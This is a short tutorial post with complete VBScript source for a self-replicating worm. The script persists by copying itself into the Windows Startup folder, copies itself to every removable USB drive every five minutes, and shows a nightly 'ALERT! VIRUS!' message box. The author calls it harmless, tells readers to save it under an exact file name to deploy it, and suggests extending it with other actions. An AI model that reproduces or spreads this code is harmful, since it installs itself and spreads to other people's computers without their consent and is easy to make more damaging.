How to make a spreading harmless virus in VBScript

---

This is a small harmless VBScript file that can spread form one computer to another. The VBScript file copies itself to the startup folder and copies it self to any USB drives available every five minutes. But what's the use of spreading it without any action? So I included a simple code to display a message every five minutes between midnight and six in the morning.

The spreading method used by this vbs file depends completely on the victim. The vbs file is only copied to the USB drive. It will infect another computer only if it is opened. You can modify to do other things with the VBScript file like opening a URL to your site at a specific time. But I don't support making harmful viruses.

To make the VBScript file save the following code as a NX21.vbs EXACTLY file with notepad. DO NOT name it something else or it would not work.

On Error Resume Next Set WshShell = CreateObject("WScript.Shell") Set fs = CreateObject("Scripting.FileSystemObject") Path = WshShell.SpecialFolders("Startup") Start() Function Start() X = fs.CopyFile("NX21.vbs", Path & "\", True) Set dc = fs.Drives For Each d in dc If (d.DriveType = 1) Then s = d.DriveLetter X = fs.CopyFile("NX21.vbs", s & ":\", True) Else End If Next If (Hour(Now) >= 0 And Hour(Now) < 6) Then X = Msgbox("Author : #XByte" & Chr(13) & "Description : Harmless self replicating virus" & Chr(13) & Chr(13) & "This virus is coded in VBScript and uses a really simple technique to spread through removeable storage devices. This is a completely harmless virus designed for spreading. Any computer infected with this virus would display this message after midnight until six in the morning everyday every 5 minutes!" & Chr(13) & Chr(13) & "Please contact the author for more information.", 48, "ALERT! VIRUS! VIRUS!") Else End If WScript.Sleep 300000 Start() End Function